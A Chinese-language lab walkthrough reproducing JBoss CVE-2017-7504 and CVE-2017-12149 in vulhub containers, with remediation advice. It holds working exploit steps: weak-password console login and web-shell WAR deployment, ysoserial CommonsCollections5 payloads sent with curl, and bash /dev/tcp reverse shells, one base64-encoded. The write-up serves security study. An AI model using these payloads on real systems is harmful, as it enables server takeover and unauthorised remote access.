一、 jboss/CVE-2017-7504后台部署war包
1. 漏洞原理
CVE-2017-7504是JBoss应用服务器中的一个远程代码执行漏洞,允许攻击者通过JMX Invoker Servlet在未授权的情况下部署恶意WAR包,从而获取服务器控制权。
(1)JMX Invoker Servlet暴露问题:
JBoss的/invoker/JMXInvokerServlet端点默认暴露
该端点允许通过HTTP请求直接调用JMX接口
没有进行充分的身份验证和授权检查
(2)MBean操作滥用:
通过JMX接口可以访问jboss.system:service=MainDeployer MBean
该MBean提供了deploy()方法,允许远程部署应用
攻击者可以构造特殊请求调用此方法
(3)WAR包部署机制:
JBoss支持通过HTTP PUT或POST请求上传WAR文件
一旦WAR包被部署,其中的Servlet/JSP代码将在服务器上执行
2.漏洞复现
(1) 部署漏洞环境,cd /vulhub/jboss/CVE-2017-7504 然后docker-compose up -d
(2)访问该漏洞地址
(3)找到console登录选项,并使用弱口令admin,admin登录
(4)找到部署war包的地方
(5) 将war包放置在python根目录下,然后运行python的http服务
(6) 将war包所在的路径及ip输入到jboss的上传war包的地方
http://192.168.120.1:8000/shell.war
上传成功
(7) 利用冰蝎进行连接
连接成功
3. 修复方案
删除或限制访问/invoker/JMXInvokerServlet
升级到已修复的JBoss版本
配置JMX接口的访问控制
禁用不必要的MBean操作
二、 jboss/CVE-2017-7504反序列化漏洞
1. 知识点
序列化就是将数据结构或者对象转换成二进制串的过程。
反序列化就是将序列化过程中生成的二进制串转回成数据结构或对象的过程。
2. 漏洞原理
CVE-2017-7504 是 JBoss 应用服务器中的一个 Java 反序列化漏洞,与 JMXInvokerServlet 相关,允许攻击者通过构造恶意序列化对象实现远程代码执行(RCE)。
JBoss AS4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可以通过特制的序列化数据利用该漏洞执行恶意的代码。
/jbossmq-httpil/HTTPServerILServlet
3.复现
(1)Jboss执行任意代码
①、 部署漏洞环境,cd /vulhub/jboss/CVE-2017-7504 然后docker-compose up -d
②、 将可以对数据进行序列化和反序列化的工具复制到/vulhub/jboss/CVE-2017-7504下
③、 使用ysoserial.jar对我们要执行的代码生成序列化文件
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > 1.ser
如果生成序列化文件时报错,可使用
update-alternatives --config java
切换为java11版本。
④、 将1.ser以post方式发送到该漏洞下
curl http://192.168.120.136:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
⑤、 查看是否创建成功
创建成功
(2) Jboss利用反序列化漏洞进行反弹shell
知识点:反弹shell命令:bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
①、 部署漏洞环境,cd /vulhub/jboss/CVE-2017-7504 然后docker-compose up -d
②、 使用ysoserial.jar对我们要执行的代码生成序列化文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,你的反弹shell命令的BASE64编码}|{base64,-d}|{bash,-i}" > 随便什么名字.ser
③、 监听6666端口,并将shell.ser以post方式发送到该漏洞下
curl http://192.168.120.136:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @shell.ser
监听成功
4. 修复方案
(1)立即措施:
删除 JMXInvokerServlet 对应的 JAR 文件
或通过 web.xml 禁用该 Servlet
(2)长期方案:
升级到已修复的 JBoss 版本
实施 Java 反序列化过滤器
移除不必要的依赖库(如旧版 Commons Collections)
(3)防护措施:
在网络边界过滤对 /invoker/JMXInvokerServlet 的访问
实施最小权限原则,限制 JBoss 运行权限
三、jboss/CVE-2017-12149
1. jboss/CVE-2017-12149利用反序列化漏洞执行任意代码
原理:同cve-2017-7504相同,只是利用的接口不同 /invoker/readonly
(1)部署漏洞环境,cd /vulhub/jboss/CVE-2017-12149 然后,docker-compose up -d
(2)使用ysoserial.jar对我们要执行的代码生成序列化文件
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/sucess">1.ser
(3)将1.ser以post方式发送到该漏洞下
curl http://192.168.120.136:8080/invoker/readonly --data-binary @1.ser
(4)查看是否创建
创建成功
2. 利用漏洞进行反弹shell
(1)使用ysoserial.jar对我们要执行的代码生成序列化文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,你的反弹shell命令的BASE64编码}|{base64,-d}|{bash,-i}" > 随便什么名字.ser
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xMzYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" > shell.ser
(2)监听6666端口,并将shell.ser以post方式发送到该漏洞下
监听成功